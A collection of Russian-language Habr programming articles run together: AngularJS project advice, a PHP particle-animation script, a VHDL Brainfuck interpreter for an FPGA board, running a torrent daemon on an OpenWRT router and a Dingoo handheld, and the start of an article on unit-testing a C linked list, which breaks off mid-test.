Тестирование чрезвычайно важно для больших проектов. Тесты позволяют уверенно проводить рефакторинг, который имеет важное значение для сохранения чистоты кода в большом проекте. В больших приложениях должны проводится как [модульные](http://www.angular.ru/guide/dev_guide.unit-testing), так и [системные (E2E)](http://www.angular.ru/guide/dev_guide.e2e-testing) тесты. Модульные тесты помогают выявить проблемы, а системные — убедиться, что всё приложение работает как ожидалось. Каждый контроллер, сервис, фильтр и директива должны иметь набор модульных тестов. Каждая особенность приложения должна иметь системный тест.
Это еще одна тема, заслуживающая большого внимания. К счастью, документация Ангуляра может многое сказать как о модульных, так и о сисемных тестах. Мой коллега Войта Джин также рассказывал недавно о тестировании директив. Безусловно, стоит посмотреть [его видео](http://www.youtube.com/watch?v=rB5b67Cg6bc).
#### Инструментарий
Я проделал кучу работы по [Yeoman](http://yeoman.io/), чтобы попытаться выделить лучшие практики и хорошую структуру проекта, и сделать автоматическую генерацию небольших шаблонных библиотек Ангуляра. Настоятельно рекомендую воспользоваться этим.
[Batarang](https://github.com/angular/angularjs-batarang) еще один из моих проектов, который подходит для отладки и поиска узких мест в производительности.
#### Сервер
Как известно, с Ангуляром можно использовать любой сервер, какой захотите. Это строго клиентская библиотека. Моей рекомендацией и предпочтительной установкой является использование [Node.js](http://nodejs.org/) вместе с [Nginx](http://nginx.org/). Использую Nginx как сервер статических файлов, и Node.js для создания RESTful API и/или сокет приложения. Node.js это золотая середина между простотой использования и скоростью. Например, относительно легко [порождать рабочие процессы](http://nodejs.org/api/child_process.html) или [создать веб-сервер, который может использовать все ядра воображаемого сервера](http://nodejs.org/api/cluster.html).
Что касается облачных сервисов, с большим успехом использовал и [Nodejitsu](http://nodejitsu.com/) и [Linode](http://www.linode.com/). Nodejitsu предпочтителен, если строго придерживаетесь Node.js. Он облегчает развертывание приложения, и вам не придется беспокоиться о серверной среде. Можно порождать дополнительные процессы Node.js, необходимые для расширения и чтобы выдерживать большую нагрузку. Если необходим больший контроль над серверной средой, Linode предоставляет доступ к корню парка виртуальных машин. Linode также обеспечивает [хороший API](http://www.linode.com/api/) для управления виртуальными машинами. Существует множество других отличных поставщиков облачных сервисов, которые еще не успел испытать на себе.
Настройка и масштабирование серверной части достойна отдельной статьи, и нет недостатка хороших советов в других местах.
#### Процесс сборки
По общему признанию, это та вещь, в которой нуждается Ангуляр, чтобы стать лучше, и одна из моих огромных целей на 2013 год помочь на этом фронте. Я выпустил [ngmin](https://github.com/btford/ngmin), инструмент, который, надеюсь, в конечном счете, решит задачу минимизации AngularJS приложений на стадии выпуска.
На данный момент, думаю, что сперва лучше всего объединить яваскрипт-файлы с `app.js`, затем с помощью `ngmin` закомментировать функции внедрения зависимости, и, наконец, минифицировать с помощью [Closure Compiler](https://developers.google.com/closure/compiler/) с флагом `--compilation_level SIMPLE_OPTIMIZATIONS`. Можете посмотреть пример в работе в [процессе сборки angular.js](https://github.com/angular/angular.js/blob/master/Rakefile).
Не рекомендую использовать RequireJS с Ангуляром. Хотя это, конечно, возможно, я не видел ни одного случая, когда применение RequireJS было бы выгодно на практике.
#### Заключение
Ангуляр является одним из наиболее подходящих яваскрипт-фреймворков для написания больших приложений. Замечательный, очень быстрый и очень помогает структурировать приложение. Надеемся, что эти советы полезны для расширения границ познания, о возможностях Ангуляра.
Есть несколько советов по масштабированию ангуляр-приложений? Пишите в [твиттер](https://twitter.com/briantford), на [электронную почту](http://btford@umich.edu), или отправьте [пулл-реквест на Гитхабе](https://github.com/btford/briantford.com/blob/master/jade/blog/huuuuuuge-angular-apps.jade).`` | https://habr.com/ru/post/182556/ | null | ru | null |
# Система частиц на PHP в 3D
С детства есть у меня заветная программерская мечта — написать физический движок. Как и положено мечте, я к ней никогда близко не подходил. Но однажды выдалась пара ночей, когда я должен был дежурить в помещении, и у меня с собой был ноутбук.
В общем, взялся я моделировать движение и столкновение частиц на PHP. Почему на PHP? Потому что это единственный язык, на котором я могу свободно излагать свои программерские мысли. В общем, сначала координаты выводились в консоли, потом стал делать графические снимки. Немедленно появилась мысль генерировать анимацию…
Погуглив, я нашел древненький класс [GIFEncoder v.2](http://saintist.ru/2009/05/12/316/), который позволял собирать кадры в фильм! Меня это очень воодушевило, и я продолжил эксперименты.
Самой первой, сложной и главной проблемой стало сложение импульсов. Дело в том, что при простом перемещении частицы на X, например, 1, и такой же Y, разбросанные во все 360 сторон частицы не хотели образовывать круг — они упорно выстраивались в ромб. Я плохо учил алгебру, но мне было интересно импровизировать, экспериментируя с коэффициентами.
Второй проблемой стала проекция разбросанных в 3D точек на плоскость. Так как геометрию я учил не лучше алгебры, меня выручили импровизированные коэффициенты: с правильными подобрать более-менее правдоподобную проекцию было бы не просто. Так или иначе, энтузиазма хватило до создания скрипта, генерирующего вышеприведенный ролик. А механизм лучше всего объяснить прямо в коде. Вы должны свободно читать и понимать PHP:
```
php
// В зависимости от задачи, может выполняться и пару часов =)
set_time_limit(0);
// засекаем время
$start = microtime(1);
// GIFEncoder вот отсюда:
// http://saintist.ru/2009/05/12/316/
include('gif_animate.php');
// Пространство для дивжения частиц
class space {
// хранилище частиц
public $points = array();
// вместо матрицы - свойства
// с объектным интерфейсом матрица не нужна
private $x;
private $y;
private $z;
// Шаги. См. метод step.
public $steps = 0;
public function __construct($x, $y, $z) {
$this - x = $x;
$this -> y = $y;
$this -> z = $z;
}
// -да будет частица...
public function addPoint($point, $x, $y, $z, $fx = 0, $fy = 0, $fz = 0) {
array_push($this -> points, array($point, $x, $y, $z));
$point -> addP($fx, $fy, $fz);
}
// Шаг. Ключевой элемент, в этом методе двигаются частицы.
// В какой-то версии скрипта, они у меня сталкивались.
// Чтобы они (на случай - если столкновения включены) не прыгали сквозь друг друга,
// шаги могут быть дробными. Число, которым выражен шаг = скорости самой медленной
// частицы, но только если она < 1.
// Изначально, 1 шаг = перемещение частицы со скоростью 1 на 1 пиксель за шаг.
// Поэтому дробное число можно считать частью шага.
public function step() {
// вот этим числом выражен шаг
$t = 1;
// Матрица занятых координат.
// Использовалась для поиска столкновений, далее не используется.
$busy = array();
// В этом цикле чистим space от вылетевших за пределы поля частиц
// и вычисляем величину шага
foreach ($this -> points as $n => &$point) {
$x = $point[1];
$y = $point[2];
$z = $point[3];
// Если частица за пределами поля - удаляем её, и пропускаем итерацию
if (!($x >= 0 && $x < $this->x && $y >= 0 && $y < $this->y && $z >= 0 && $z < $this->z)) {
unset($this->points[$n]);
continue;
}
// Сила импульсов частицы в трех измерениях
$f = abs($point[0]->p['fx']) + abs($point[0]->p['fy']) + abs($point[0]->p['fz']);
// Если она вообще движется, и при том меньше 1 и текущей $t
if ($f > 0 && 1 / $f < $t) {
// то меняем числовое выражение шага
$t = 1 / $f;
}
}
// Главный цикл. Перемещение частиц.
foreach ($this -> points as $n => &$point) {
$xyz = abs($point[0]->p['fx']) + abs($point[0]->p['fy']) + abs($point[0]->p['fz']);
// Экспериментально вывел этот коэффициент для сложения импульсов
$hypo = pow(abs($point[0]->p['fx']), 2) + pow(abs($point[0]->p['fy']), 2) + pow(abs($point[0]->p['fz']), 2);
// Переменные вида $move_x - это растояние, на которое должна быть перемещена частица.
// Ниже они вычисляются.
// Эта еденица для X и Y равна пикселю, для Z - визуально заметна только
// при наличии импульса в X или Y, естественно.
if ($point[0]->p['fx'] != 0 && $xyz > 0) {
if ($point[0]->p['fx'] < 0) {
$fxmin = 1;
}
$move_x = sqrt($hypo) * ($point[0]->p['fx'] / $xyz);
if (isset($fxmin)) $move_x = $move_x * -1;
} else {
$move_x = 0;
}
if ($point[0]->p['fy'] != 0 && $xyz > 0) {
if ($point[0]->p['fy'] < 0) {
$fymin = 1;
}
$move_y = sqrt($hypo) * ($point[0]->p['fy'] / $xyz);
if (isset($fymin)) $move_y = $move_y * -1;
} else {
$move_y = 0;
}
if ($point[0]->p['fz'] != 0 && $xyz > 0) {
if ($point[0]->p['fz'] < 0) {
$fzmin = 1;
}
$move_z = sqrt($hypo) * ($point[0]->p['fz'] / $xyz);
if (isset($fzmin)) $move_z = $move_z * -1;
} else {
$move_z = 0;
}
// умножаем на длину шага и меняем координаты
$point[1] += $move_x*$t;
$point[2] += $move_y*$t;
$point[3] += $move_z*$t;
}
$this -> steps+=$t;
}
// Метод делает снимок space в GIF
public function shot() {
$r = imagecreatetruecolor($this -> x+1, $this -> y+1);
// думаю, все очевидно
foreach ($this -> points as &$point) {
$x = $point[1];
$y = $point[2];
$z = $point[3];
if ($x >= 0 && $x < $this->x && $y >= 0 && $y < $this->y && $z >= 0 && $z < $this -> z) {
// оказывается, не всё. Нам надо, что частицы, которые дальше по Z
// двигались медленнее тех, что ближе к нам - по Z.
$ox = $this->x / 2;
$oy = $this->y / 2;
$oz = $this->z / 2;
$xf = $x - $ox;
$yf = $y - $oy;
$zf = $z;
$xr = $x - $xf / ($this->z/($this->z - $z));
$yr = $y - $yf / ($this->z/($this->z - $z));
imageline($r, $xr, $yr, $xr, $yr, $point[0]->color);
}
}
ob_start();
imagegif($r);
return ob_get_clean();
}
}
class Point {
public $p = array('fx' => 0, 'fy' => 0, 'fz' => 0);
public $color;
// Конструктор генерирует случайный цвет
public function __construct() {
$red = dechex(rand(1, 255));
if (strlen($red) < 2) $red = '0'.$red;
$green = dechex(rand(1, 255));
if (strlen($green) < 2) $green = '0'.$green;
$blue = dechex(rand(1, 255));
if (strlen($blue) < 2) $blue = '0'.$blue;
$this->color = hexdec("0x$red$green$blue");
}
public function addP($fx = 0, $fy = 0, $fz = 0) {
$this->p['fx'] += $fx;
$this->p['fy'] += $fy;
$this->p['fz'] += $fz;
}
}
$gifs = array(); // GD-шные GIF-ы, которые потом будут объединены
$space = new space(399, 399, 399, false, true);
// Рандомно генерируем импульсы для частиц.
// Чтобы они летели с разной скоростью, и в разных направлениях
$rands = range(-10, 10, 0.5);
for ($i=0; $i<1000; $i++) {
// ... и стало так
$space->addPoint(new Point, 200, 200, 200, $rands[array_rand($rands)], $rands[array_rand($rands)], $rands[array_rand($rands)]);
}
// запускаем на 100 ц е л ы х шагов...
while($space->steps < 100) {
$nshot = $space -> steps;
$space -> step();
if ((int)$nshot < (int)$space -> steps) {
array_push($gifs, $space -> shot());
echo 'Step #',$space -> steps,"\r\n";
}
}
// собираем кадры в фильм...
$gif = new GIFEncoder($gifs, 0, 0, 0, 0, 0, 0, 'bin');
file_put_contents('c:\anim.gif', $gif -> GetAnimation());
echo "\r\nTime: ",substr(microtime(1) - $start, 0, 4);
// приятного просмотра :-)
```
Принцип вам понятен. Одним из первых роликов был этот:
Потом в 3D, этот:
Бред? Возможно. Но не бойтесь реализовывать самые бредовые идеи. Это — лучший способ научиться думать на языке программирования. | https://habr.com/ru/post/115791/ | null | ru | null |
# VHDL для начинающих. Brainfuck
Как известно, VHDL – высокоуровневый язык описания аппаратуры (если это вызывает сомнения, можно посмотреть [здесь](http://habrahabr.ru/blogs/controllers/112479/) и [здесь](http://habrahabr.ru/blogs/DIY/80056/)). Из всего разнообразия задач мне приглянулся именно **brainfuck** благодаря лёгкости в реализации с одной стороны и волшебству создания программируемого (пусть и весьма ограниченно) вычислителя с другой.
В рамках данной статьи я не буду углубляться в дебри синтаксиса и настройки среды, сконцентрировавшись на реализации конкретной задачи.
Испытательным стендом будет [Altera Cyclone II Starter Kit](http://www.terasic.com.tw/cgi-bin/page/archive.pl?Language=English&No=83) (EP2C20F484C7)
Любителей мигающих лампочек прошу под кат.
#### Техническое задание
1. Память команд — 64 команды, ячейки памяти — 32 ячейки по 8 бит каждая;
2. Устройство должно поддерживать два режима: занесения программы и выполнения; смена режима должна осуществляться при помощи переключателя SW9;
3. В режиме занесения программы переключатели SW8 – SW3 определяют адрес в памяти программ, SW2 – SW0 — код команды; запись в память осуществлятся при нажатии кнопки KEY3; содержимое текущей ячейки памяти отображается на свтодиодах LEDR2 – LEDR0;
4. В режиме выполнения программы значения ячеек памяти должны отображаться на семисегментных индикаторах HEX1 – HEX0; адрес отображаемой ячейки должен задаваться при помощи переключателей SW4 – SW0;
5. В любом режиме работы по нажатию кнопки KEY3 значения всех ячеек памяти должны обнуляться.
#### Разметка фронта работ
Проект в Quartus II создан, самое время определиться с набором entity. Я решил не выделяться и, пусть это и не очень красиво, реализовать всё в одной сущности. Для вывода на семисегментные индикаторы понадобится специальный дешифратор, который выделим в отдельный entity.
#### Реализация
Дешифратор можно реализовать сразу, «в лоб». Он выполняет простейшее преобразование, задаваемое таблично, поэтому портов всего два:
```
entity dc7x is
port(
i: in std_logic_vector(3 downto 0);
z: out std_logic_vector(6 downto 0)
);
end dc7x;
```
Модель поведения задаётся просто:
```
with i select
z <= "1000000" when "0000", --0
"1111001" when "0001", --1
"0100100" when "0010", --2
"0110000" when "0011", --3
"0011001" when "0100",
********
"0001110" when "1111", --F
"0111111" when others;
```
Перейдём непосредственно к интерпретатору.
##### Порты
Задействованные внешние устройства ввода и вывода показаны на рисунке:
Как видно, нужен доступ к тумблерам SW, кнопкам KEY, светодиодам LED и семисегментникам HEX. Сигнал синхронизации будет вырабатывать внутренний генератор 50Mhz.
```
entity brainfuck is
port(
RUN: in std_logic;
SW: in std_logic_vector(8 downto 0);
LED: out std_logic_vector(2 downto 0);
HEX1: out std_logic_vector(6 downto 0);
HEX2: out std_logic_vector(6 downto 0);
clk: in std_logic;
RESET: in boolean
);
end brainfuck;
```
RUN — тот самый переключатель режима работы SW9, RESET — кнопка KEY3.
##### Архитектура
Нам понадобится несколько внутренних элементов: массивы памяти команд и данных, а также указатели на конкретные ячейки в них.
Так как на индикаторах требуется показывать не только вывод программы, но и содержимое каждой конкретной ячейки памяти, использовано два вектора: *out\_result* содержит вывод программы, а *final\_out\_result* подключён к дешифраторам семисегментных индикаторов.
```
type t_memory is array (31 downto 0) of std_logic_vector (7 downto 0); -- command memory
signal cell_memory: t_memory := (others => x"00");
type d_memory is array (63 downto 0) of std_logic_vector (2 downto 0); -- cells memory
signal comm_memory: d_memory := (others => "000");
signal comm_number: std_logic_vector(6 downto 0) := (others => '0');
signal cell_number: std_logic_vector(5 downto 0) := (others => '0');
signal out_result: std_logic_vector(7 downto 0) := (others => '0');
signal final_out_result: std_logic_vector(7 downto 0) := (others => '0');
```
###### Process (clk, RESET)
Наконец подобрались к самому главному — модели поведения интерпретатора. Для начала объявим переменную-счётчик открытых скобок.
```
variable u: integer := 0;
```
Для нормальной работы с циклами это должна быть именно переменная, а не сигнал. Главное отличие первого от второго в том, что значение в сигнал записывается по окончании выполнения процесса, а в переменную — непосредственно в момент присваивания.
```
begin
if rising_edge(clk) then
if (not RESET) then
cell_memory <= (others => x"00");
out_result <= (others => '0');
final_out_result <= cell_memory(conv_integer(unsigned(cell_number)));
if (RUN = '0') then -- writing a programm
comm_memory(conv_integer(unsigned(SW(8 downto 3)))) <= SW(2 downto 0);
end if;
```
По сигналу сброса (кнопки в Cyclone II инверсные, поэтому и условие инверсное) обнуляем значения ячеек памяти и выходной вектор, а если при этом ещё и идёт запись программы, заполняем соответствующую ячейку памяти команд.
```
else
if (RUN = '0') then
running_led <= false;
LED <= comm_memory(conv_integer(unsigned(SW(8 downto 3))));
comm_number <= (others => '0');
cell_number <= (others => '0');
cell_memory <= (others => x"00");
```
В любом случае при выходе из режима выполнения необходимо «забывать» о предыдущих результатах, чтобы каждый следующий запуск происходил «с нуля».
```
else -- executing
running_led <= true;
LED <= (others => '0');
if (SW(5) = '1') then final_out_result <= cell_memory(conv_integer(unsigned(SW(4 downto 0)))); -- out: user's or programm's cell
else final_out_result <= out_result;
end if;
```
Выбр вывода: на дешифраторы подаётся либо выход программы, либо значение из текущей ячейки. Выбор осуществляется с помощью тумблера SW5.
```
case comm_memory(conv_integer(unsigned(comm_number))) is
when "000" => -- next
if (u = 0) then cell_number <= cell_number + 1;
end if;
if (u < 0 )then comm_number <= comm_number - 1;
else comm_number <= comm_number + 1;
end if;
****************
when "100" => -- [
if ((cell_memory(conv_integer(unsigned(cell_number))) = x"00") or (u /= 0)) then
u := u + 1;
end if;
if (u < 0 )then comm_number <= comm_number - 1;
else comm_number <= comm_number + 1;
end if;
when "101" => -- ]
if ((cell_memory(conv_integer(unsigned(cell_number))) /= x"00") or (u /= 0)) then
u := u - 1;
end if;
if (u < 0 )then comm_number <= comm_number - 1;
else comm_number <= comm_number + 1;
end if;
when others => -- stop
if (u = 0) then
null;
end if;
```
Программа на Brainfuck представляется как автомат: есть набор фиксированных состояний, перемещение между которыми осуществляется (за исключением циклов) линейно. Такая модель на VHDL (да и не только) реализуется switch-case конструкцией.
Как уже говорилось, u — счётчик открытых скобок. Команды выполняются только при (u = 0), в остальных случаях происходит поиск парной скобки. В нормальном режиме и при поиске закрывающей скобки указатель команд движется вперёд, иначе — назад. Здесь ясно видно, что если бы *u* была сигналом, при первой реакции на закрывающую скобку счётчик команд увеличился бы, только на следующем такте указатель пошёл бы назад, наткнулся на закрывающую скобку второй раз (u = -2), а такого количества парных открывающих скобок нет — программа никогда бы не выполнилась.
Условие (u /= 0) сделано для реализации вложенных циклов.
#### Testbench
Код готов и компилируется,
но перед прошивкой устройства надо протестировать алгоритм на адекватность. Текст тестбенча приводить не буду, он есть в прикреплённых файлах. Отмечу лишь, что тупой последовательный прогон всех значений здесь не подойдёт, поэтому проверяется корректность выполнения конкретной программы. Я использовал сложение двух чисел:
`+++>++<[->+<]>.x`
В качестве среды моделирования использовалась ModelSim-Altera.
#### Разводка платы
Последний этап перед прошивкой — задание соответствий сигналов модели реальным портам платы. Координаты выводов есть в приложении «Документация Cyclone II», ну а кому лень — вот готовая распиновка:
#### Заключение
Ну вот и всё, осталось только открыть Programmer, прошить плату, и… сидеть вбивать все команды и адреса вручную :) Я привёл не весь код, опустив стандартные части вроде секции *use*. Обещанное:
* Полностью готовый к прошивке (скомпилированный и разведённый по плате) [проект](https://www.dropbox.com/s/ix0qtczw6ugxpz0/BrainFuck.zip?dl=0)
* [Документация](https://www.dropbox.com/s/w7d55j6u9b024x2/cyclone2.pdf?dl=0) к Altera Cyclone II (с обозначением всех портов на координатной сетке)
#### P.S.
Приведённый код можно, конечно, использовать и для реализации на другом железе, для этого надо создать проект под конкретную плату и прикрепить к нему файлы исходников. | https://habr.com/ru/post/121797/ | null | ru | null |
# Торент на Dingoo A320, или зачем оно надо?
**В наличии:** роутер Dlink DSL2650u из [предыдущего топика](http://habrahabr.ru/blogs/linux/124744/), который имеет USB хост и прошит OpenWRT прошивкой, и приставка Dingoo A320, на которую установлен OpenDingux ( Linux для Dingoo ).
**Задача:** Организовать круглосуточную раздачу торентов, чтобы немного поднять рейтинг на трекере. Убить целый день интересным занятием и повысить свои знания линукса.
Топик написан больше в развлекательных целях, нежели как практическое руководство, так как многих может смутить целесообразность затеянного.
Что можно полезного извлечь от топика?* Узнать как подключать и монтировать флешки к роутеру
* Как все-таки поднять торент-клиент (transmission) на роутере
* Как подключить UsbNet устройство и установить bridge в локальную сеть
* Как можно интересно убить целый день
Немного технических характеристик железяк:
* Роутер: 300mhz CPU, ~30mb ( 29668kb ) RAM
* Dingoo A320: 333mhz CPU ( разгоняется до 430mhz ), ~30mb ( 29500kb ) RAM
Как видно, характеристики похожи.
#### Первые попытки
Сначала предпринимались попытки поднять раздачу прямо на роутере: в USB вставляется флешка на 4гб и оттуда раздаются торенты. Следуя [странице вики](http://wiki.openwrt.org/doc/howto/usb.storage), установил необходимые пакеты командой:
`opkg install usbutils kmod-usb-core kmod-usb-ohci kmod-usb-uhci kmod-usb2 kmod-usb-storage kmod-usb-storage-extras block-mount block-hotplug kmod-fs-ext4`
После подключения флешка нормально определилась и появились два устройства */dev/sda* и */dev/sda1*. Флешка была форматирована в FAT32, поэтому пришлось доставить пакеты:
`opkg install kmod-fs-vfat kmod-nls-cp437 kmod-nls-utf8 kmod-nls-cp1251`
Последние два пакеты необязательны, поскольку *mount* монтирует в cp437 кодировке, и никакие параметры о смене кодировки не принимает. В любом случае, если не получается примонтировать раздел, нужно причину смотреть в выводе *dmesg*.
Можно настроить автомонтирование, для этого нужно отредактировать файл `/etc/config/fstab`. За автомонтирование отвечает ранее установленный пакет *block-hotplug*. Подробнее в [документации OpenWRT](http://wiki.openwrt.org/doc/uci/fstab).
После подключения и монтирования флешки, нужно установить *transmission*. Почему он? Потому что он может работать как демон, имеет rpc и web интерфейс. RPC означает возможность контролировать раздачу прямо на компьютере в удобном gui интерфейсе. Да и первое руководство, найденное в интернете было именно про него. Поэтому:
`opkg install transmission-daemon transmission-web`
После установки нужно подредактировать конфигурационный файл `/etc/config/transmission`. Настройка transmission в OpenWRT не суть топика, поэтому за дополнительными данными обращаться [сюда](http://wiki.openwrt.org/doc/uci/transmission). Веб-интерфейс доступен по адресу [192.168.1.1](http://192.168.1.1):9091, RPC подключается туда же. В качестве RPC-клиента был скачан и установлен transmission-remote-gui-bin пакет из AUR'а ( в Archlinux ).
После настройки и запуска *transmission* пришло разочарование — роутер слишком слаб для этого. Заканчивалась оперативная память, процессор был загружен под завязку, и через несколько минут роутер переставал отвечать на обращения. Единственным спасением была перезагрузка. Попробовал сделать свап раздел на флешке и подключить его к роутеру. Разбил флешку на два раздела, под свап выделил 100мб, отформатировал, подключил… но особо ситуация не изменилась. Показания команды *free* показывало, что в свап занимался не больше чем на 1мб.
Поэтому полет мысли полетел дальше.
#### И тут пришла бредея
Я продолжил думать, что можно подключить в доступным usb порт с пользой для дела. На ум пришел только мобильный телефон Motorola Z6 ( на Linux ), и Dingoo A320. Поскольку моторолы под рукой не оказалось, продолжил эксперименты с дингой. С Dingux ( и OpenDingux ), можно сделать сеть через UsbNet. Подсмотрев название модуля ( cdc\_ether ), принялся устанавливать его в OpenWRT. Такой пакет оказался, и без проблем установился:
`opkg install kmod-usb-net-cdc-ether`
После подключения в `ifconfig` появился новый интерфейс: usb0. Установив по DHCP IP адрес ( на Dingux используется udhcpd ), проверил — все работает. Задача стояла в том, чтобы раздать интернет по usb0, и, желательно, делать доступ из локальной сети. В голове завертелись мысли о создании ряда правил для iptables, для маскарадинга, для переброса пакетов и т.п., но решение оказалось намного проще: нужно в файле `/etc/config/network` в секции `config interface lan` добавить *usb0* в *ifname*. Получилась вот такая строчка:
`option ifname "eth1.0 usb0"`
Осталось заставить Dingoo получать данные по DHCP, а не устанавливать статичный 10.1.0.2. Покопавшись в скрипте инициализации `/etc/init.d/network`, увидел, что используются несколько пользовательских переменных.
`if [ -z $DINGOO_IP_ADDRESS ]; then DINGOO_IP_ADDRESS="10.1.0.2"; fi
if [ -z $PC_IP_ADDRESS ]; then
if [ $DINGOO_IP_ADDRESS != "10.1.0.1" ]; then PC_IP_ADDRESS="10.1.0.1"
else PC_IP_ADDRESS="10.1.0.2"
fi
fi
if [ -z $DINGOO_NETMASK ]; then DINGOO_NETMASK="255.255.255.252"; fi
if [ -z $PC_NETMASK ]; then PC_NETMASK=$DINGOO_NETMASK; fi`
Cпросил у умных людей, которые имеют отношение к разработки OpenDingux, где можно переопределить их. Поскольку прав записи в /etc нет ( там squashfs образ ), то разработчики вынесли возможность переопределить переменные в файл `/usr/local/etc/initvars`. Заставить по DHCP получать IP у меня не получилось, поэтому решил прописать вручную IP адрес 192.168.1.2:
`DINGOO_IP_ADDRESS=192.168.1.2
PC_IP_ADDRESS=192.168.1.1
DINGOO_NETMASK=255.255.255.0`
Дополнительно нужно прописать адрес DNS сервера в `/usr/local/etc/resolv.conf`
`nameserver 192.168.1.1`
Перезагрузив все службы, убедился в работоспособности схемы: из сети пингуется Dingoo, из Dingoo пингуется сеть и интернет. Отдельная проблема была, когда я назначил IP не 192.168.1.2, а побольше — 192.168.1.254, и не обратил внимание на маску подсети ( стандартная маска у Dingoo — 255.255.255.252 ), и долго не мог понять, почему ничего не работает.
#### Устанавливаем transmission
В OpenDingux нет такого удобного репозитория, как в OpenWRT, поэтому transmission пришлось собирать ручками. Toolchain ( набор утилит для компилирования под определенную платформу ) взят [отсюда](http://code.google.com/p/dingoo-linux/downloads/detail?name=dingux_toolchain_20091022.tar.bz2). Скачал исходники, почитал `./configure --help`, отключив все ненужное начал пробовать компилировать.
`./configure --host=mipsel-linux-uclibc --disable-gtk --disable-mac --disable-cli --disable-libnotify --disable-libappindicator --disable-libcanberra --disable-nls --disable-utp
make`
По зависимостям пришлось собрать openssl, libevent и curl. Скопировал бинарный файл transmission-daemon вместе с недостающими библиотеками на Dingoo в /usr/local/apps/transmission и создал обычным скрипт для запуска. Получился такой список файлов:
`ls /usr/local/apps/transmission/
libcurl.so.4 libevent-2.0.so.5 transmission transmission-daemon`
и такой скрипт:
`#!/bin/sh
LD_LIBRARY_PATH=.
./transmission-daemon -T -w /usr/local/torrent/ -g /usr/local/torrent/config -a 192.168.1.* -e /usr/local/torrent/log`
Была проблема с запуском, transmission писал кратко «Bus error». Методом научного тыка выяснилось, что проблема исчезает, если не указывать watch директорию. Возможно ядро в Dingux без поддержки inotify.
#### Заключение
Вы нереально настойчивы, если дочитали до этого момента. Сейчас только качаю торенты для последующей раздачи. Опытным путем подобраны лимиты на количество пиров ( 50 ), на скорость загрузки ( 300кбайт/сек ) и отдачи ( 200кбайт/сек ). Работает стабильно, можно экспериментировать с повышением лимитов.
Почему не поднять на роутере все-таки, при равном железе? Во-первых менее интересно, во-вторых, у роутера еще целая куча других задач — раздавать интернет и забирать у него ресурсы нехорошо. MiniSD карта на 4гб дает возможность накачать небольшое количество торентов для раздачи, но и на том спасибо.
Веб-интерфейс не устанавливал, поскольку нужно еще с веб-сервером играться. Контролирую через RPC и [Transgui](http://code.google.com/p/transmisson-remote-gui/downloads/list).
Почему не купить NAS для этих целей? Пока не готов к столь большой покупке, да и не так активно использую торенты. В данной задаче для меня более интересным было решение, а не результат.
Хочется выразить благодарность команде разработчиков OpenWRT, сделали очень продуманную систему с репозиторием приложений, унифицированной системой конфигов. Тянет на целый дистрибутив, только для роутеров.
И, напоследок, несколько ссылок:
* [Информация про OpenDingux](http://dingoowiki.com/index.php?title=Dingux:OpenDingux)
* [Скачать Transmission для OpenDingux](http://depositfiles.com/files/23205xmp8) | https://habr.com/ru/post/124792/ | null | ru | null |
# Почему разработчики не любят Юнит Тесты
Может они просто не умеют их «готовить»?
Intro
-----
По долгу службы, я участвую в разработке приложений для микроконтроллеров. Но так сложилось, что различного рода тестированием (как своего так и чужого кода) я занимался больше, чем, собственно, разработкой. Далеко ни с первой попытки, мне удалось освоить TDD. Теперь объемы тестового и «боевого» кода более или менее уровнялсь :)
Надеюсь, что после прочтения данной статьи вопрос «А почему не с первого раза?» будет снят.
Факты
-----
В своей профессиональной деятельности, я часто слышу заявления примерно следующего характера:
* «Зачем мы будем тратить время на unit-тесты, мы и так не успеваем сделать проект в срок?»
* «Почему тесты диктуют нам как писать код?»
* «Давайте просто писать код, тестировщики найдут все дефекты. Потом исправим.»
* «Вот тут коллеги заимплементили новую фичу, надо покрыть ее unit-тестами»
Даже сторонники гибких методологий разработки не всегда понимают ценность данного вида тестирования. Собственно, статья [Agile с точки зрения программиста](http://megamozg.ru/post/8666/) послужила триггером к данной публикации.
Как это обычно бывает
---------------------
Давайте представим себе, что в процессе разработки некой системы возникла потребность в реализации связанного списка. Для простоты я ограничусь только функциями push и pop (FIFO) и целым числом в качестве payload.
Без дополнительных требований к этому списку можно ожидать, что опытный разработчик Максим сначала изучит примеры, которые есть в интернете, и возьмет один из них за основу.
В результате мы имеем следующий вариант реализации:
**файл my\_list.h**
```
#ifndef MY_LIST_H
#define MY_LIST_H
#ifndef NULL /* just for this example */
#define NULL 0
#endif
void list_push( int val );
int list_pop( void );
#endif
```
**файл my\_list.c**
```
#include "my_list.h"
#include
typedef struct node
{
int val;
struct node \* next;
} node\_t;
static node\_t \* list\_head;
void list\_push( int val )
{
node\_t \* current = list\_head;
if(list\_head == NULL)
{
list\_head = malloc(sizeof(node\_t));
list\_head->val = val;
list\_head->next = NULL;
}
else
{
while (current->next != NULL)
{
current = current->next;
}
current->next = malloc(sizeof(node\_t));
current->next->val = val;
current->next->next = NULL;
}
}
int list\_pop( void )
{
int retval = -1;
node\_t \* next\_node = NULL;
if (list\_head == NULL)
{
return -1;
}
next\_node = list\_head->next;
retval = list\_head->val;
free(list\_head);
list\_head = next\_node;
return retval;
}
```
Ну что же, реализация есть. Интегрировали код в систему, «поклацали» все работает.
Тут кто-то вспоминает, что связанные списки — дело очень ответственное, адресная арифметика там… утечки памяти… И надо бы написать unit-тесты, хотя бы на этот модуль — ну что бы спасть спокойно.
И я почти на 100% уверен, что заниматься этим будет другой разработчик — Андрей. Андрей — начинающий разработчик и ему просто необходимо приобретать опыт. А так как разработка системы еще не окончена, то ребятам с опытом еще есть чем заниматься.
Андрей: «А как тестировать то?»
Максим: «Ну смотри в код, разберись как оно реализовано, и покрывай тестами все ветки кода, что бы ничего не упустить»
Андрей: «Я хочу начать тестировать с функции list\_pop(). Она выделяет память для нового элемента и добавляет его в список. Но там же **static** и я не могу добраться до списка из тестового кода.»
```
static node_t * list_head;
void list_push( int val )
{
node_t * current = list_head;
if(list_head == NULL)
{
list_head = malloc(sizeof(node_t));
list_head->val = val;
list_head->next = NULL;
}
...
```
Максим: «А,… ну давай я сделаю „костыль“ специально для твоих тестов. В продакшн билд оно не пойдет, но тебе поможет. За-экстернишь в тесте и все.»
```
#ifdef UNIT_TEST
node_t * list_head;
#else
static node_t * list_head;
#endif
```
Закономерно ожидать такую реализацию теста:
**файл test\_my\_list.c**
```
#include "unity.h"
#include "my_list.h"
void setUp(void)
{
}
void tearDown(void)
{
}
typedef struct node
{
int val;
struct node * next;
} node_t;
extern node_t * list_head;
void test_1( void )
{
list_push( 1 );
TEST_ASSERT_NOT_NULL( list_head ); /* Check that memory is allocated */
TEST_ASSERT_EQUAL_INT( 1, list_head->val ); /* Check that value is set*/
